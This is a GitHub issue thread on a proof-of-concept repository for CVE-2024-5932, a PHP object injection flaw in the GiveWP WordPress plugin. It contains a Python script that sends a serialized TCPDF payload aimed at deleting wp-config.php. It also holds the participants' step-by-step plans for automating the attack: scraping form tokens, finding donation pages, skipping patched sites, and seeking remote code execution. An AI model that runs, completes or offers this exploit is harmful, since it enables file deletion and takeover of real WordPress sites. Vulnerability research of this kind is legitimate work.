0xb0mb3r / CVE-2024-5932-PoC

Proof-of-Concept for CVE-2024-5932 GiveWP PHP Object Injection
MIT License
2 stars 0 forks source link

example #2

Open lehatomilov83 opened 2 months ago

lehatomilov83 commented 2 months ago

import requests import random import string import base64

def generate_random_string(length=8): """Generate a random string of letters with the specified length.""" return ''.join(random.choice(string.asciilowercase) for in range(length))

Generate unique values for each request

first_name = generate_random_string() last_name = generate_random_string() email_prefix = generate_random_string() print first_name, last_name, email_prefix

Define the URLs

url1 = 'https://XXX.com/wp-admin/admin-ajax.php' url2 = 'https://XXX.com/give/donation-form/?payment-mode=manual&form-id=1719'

Define the headers

headers = { 'Content-Type': 'application/x-www-form-urlencoded', }

payload_value = 'O:5:"TCPDF":1:{s:9:"imagekeys";a:1:{i:0;s:??:"/tmp/../../../../home/xxx/XXX.com/wp-config.php";}}'

cookies = { 'wp-givesession': '', 'wp-give_session_resetnonce': '1', }

Define the post data for the first URL

data1 = { 'give-honeypot': '', 'give-form-id-prefix': '1719-1', 'give-form-id': '1719', 'give-form-title': '0', 'give-current-url': 'https://XXX.com/donations/donation-form/', 'give-form-url': 'https://XXX.com/give/donation-form/', 'give-form-minimum': '', 'give-form-maximum': '999999.99', 'give-form-hash': 'NONCE', 'give-price-id': '1', 'give-amount': '25', 'give-form-title': '0', 'give_first': first_name, 'give_last': last_name, 'give_email': '{}@test.com'.format(email_prefix), 'payment-mode': 'manual', 'give_action': 'purchase', 'give-gateway': 'manual', 'give_embed_form': '1', 'action': 'give_process_donation', 'give_ajax': 'true', 'give_title': payload_value }

Define the post data for the second URL

data2 = { 'give-honeypot': '', 'give-form-id-prefix': '1719-1', 'give-form-id': '1719', 'give-form-title': '0', 'give-current-url': 'https://XXX.com/donations/donation-form/', 'give-form-url': 'https://XXX.com/give/donation-form/', 'give-form-minimum': '', 'give-form-maximum': '999999.99', 'give-form-hash': 'NONCE', 'give-price-id': '1', 'give-amount': '25', 'give_first': first_name, 'give_last': last_name, 'give_email': '{}@test.com'.format(email_prefix), 'payment-mode': 'manual', 'give_action': 'purchase', 'give-gateway': 'manual', 'give_embed_form': '1', 'give_title': payload_value }

Send the first request

response1 = requests.post(url1, headers=headers, cookies=cookies, data=data1) print('First request status:', response1.status_code, response1.text)

Send the second request

response2 = requests.post(url2, headers=headers, cookies=cookies, data=data2) print('Second request status:', response2.status_code, response2.text)

0xb0mb3r commented 2 months ago

Do you have a running version of the script? i got some issues on how to verify if the exploit was successful or not

lehatomilov83 commented 2 months ago

this is my script. but it is for my test site. therefore, the ideal script should automatically receive the values ​​of give-form-id, give-form-id-prefix and give-form-hash. my script works halfway: it reaches the moment when the php object is written to the meta value in the database. but I do not have a working php object to delete file on site or rce. and yes, there should be 2 requests: first to /wp-admin/admin-ajax.php and the second request with almost the same parameters (without two parameters) to /give/donation-form/?payment-mode=manual&form-id=* and this line can be obtained from give-form-url. and the most important thing for an automatic script: you need to find the donation form on the site

lehatomilov83 commented 2 months ago

the payload for deleting a file must start with /tmp/ otherwise it will not pass validation in the TCPDF class, so the path must be absolute and not relative. this is also not very convenient, you need to find a site path disclosure

0xb0mb3r commented 2 months ago

isn't there a way to craft a payload which generates a result for testing the exploit without having path disclosure? like a pingback or a file read or something?

lehatomilov83 commented 2 months ago

I didn't find it in this plugin. The path disclosure is in the wp-includes/rss.php file, but only if error output is enabled in PHP. I couldn't create a payload for RCE, there are a lot of nested classes there.

0xb0mb3r commented 2 months ago

on which page in your env did you find give-form-id, give-form-id-prefix and give-form-hash?

0xb0mb3r commented 2 months ago

i mean whats the difference here? 'give-current-url': 'https://xxx.com/donations/donation-form/', 'give-form-url': 'https://xxx.com/give/donation-form/',

lehatomilov83 commented 2 months ago

the donation page address will be different on different sites. it needs to be found. i don't know how to do it automatically yet. the give-current-url and give-form-url values ​​are in the source code on the donation page. i don't know what the difference is, i just took this data and sent it

lehatomilov83 commented 2 months ago

'give-form-id-prefix': 'give-form-id': 'give-form-title': 'give-current-url': 'give-form-url': 'give-form-minimum': 'give-form-maximum': 'give-form-hash':

all this data needs to be taken from the donation form on the donation page, they do not need to be generated, they need to be obtained from the page. for example, you can go to any site with this plugin, find the donation page and see all these values ​​in the source code

lehatomilov83 commented 2 months ago

anyway, i couldn't finish the exploit like wordfence did. i managed to send the payload to the site, but my exploit doesn't work until the end because you need to write the payload

0xb0mb3r commented 2 months ago

yes check main branch i made some updates. but issue with payload

lehatomilov83 commented 2 months ago

I think for a working exploit you need to do the following steps:

  1. check the plugin version to filter out the patched ones
  2. find the donation page on the site
  3. get all the donation form data, additionally fill in the fields give_first, give_last, give_email and give_title=payload
  4. send a second request with the same data, with cookies! without action=give_process_donation and give_ajax=true and new url

and 0 - write payload )))